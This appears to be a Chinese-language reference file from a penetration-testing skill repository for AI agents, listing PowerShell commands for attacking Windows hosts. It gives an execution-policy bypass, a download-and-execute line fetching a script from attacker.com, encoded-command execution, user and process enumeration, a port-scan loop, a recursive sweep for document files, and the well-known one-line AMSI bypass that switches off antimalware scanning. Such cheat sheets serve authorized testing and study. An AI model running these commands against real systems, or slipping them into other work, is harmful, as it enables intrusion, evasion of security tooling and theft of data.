reverse-skills-max/reverse-skill-repo/skills/pentest-tools/src-hunter/references/payloader/tools/windows渗透.md

Windows渗透

1 条工具命令

PowerShell渗透命令 powershell-pentest

PowerShell渗透测试常用命令

Step 0

绕过执行策略运行脚本 platform: windows

powershell -ExecutionPolicy Bypass -File script.ps1

语法解析：

• -ExecutionPolicy Bypass — 绕过执行策略 parameter

Step 0

从远程下载并执行脚本 platform: windows

IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")

语法解析：

• IEX — Invoke-Expression，执行字符串 command
• Net.WebClient — Web客户端类 value
• DownloadString — 下载字符串内容 value

Step 0

使用Base64编码执行命令 platform: windows

powershell -EncodedCommand BASE64_ENCODED_COMMAND

语法解析：

• -EncodedCommand — Base64编码的命令 parameter

Step 0

获取系统信息 platform: windows

Get-ComputerInfo
systeminfo
Get-WmiObject -Class Win32_OperatingSystem

Step 0

获取运行进程 platform: windows

Get-Process | Select-Object Name,Id,Path
Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine

Step 0

获取服务信息 platform: windows

Get-Service | Where-Object {$_.Status -eq "Running"}
Get-WmiObject Win32_Service | Select-Object Name,State,StartName

Step 0

获取网络连接 platform: windows

Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,OwningProcess
netstat -ano

Step 0

获取用户信息 platform: windows

Get-LocalUser
net user
net localgroup administrators

Step 0

简单端口扫描 platform: windows

1..1024 | % {Test-NetConnection -Port $_ -ComputerName target_ip}

Step 0

搜索敏感文件 platform: windows

Get-ChildItem -Path C:\ -Include *.txt,*.doc,*.xls -Recurse -ErrorAction SilentlyContinue

Step 0

绕过AMSI检测 platform: windows

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

---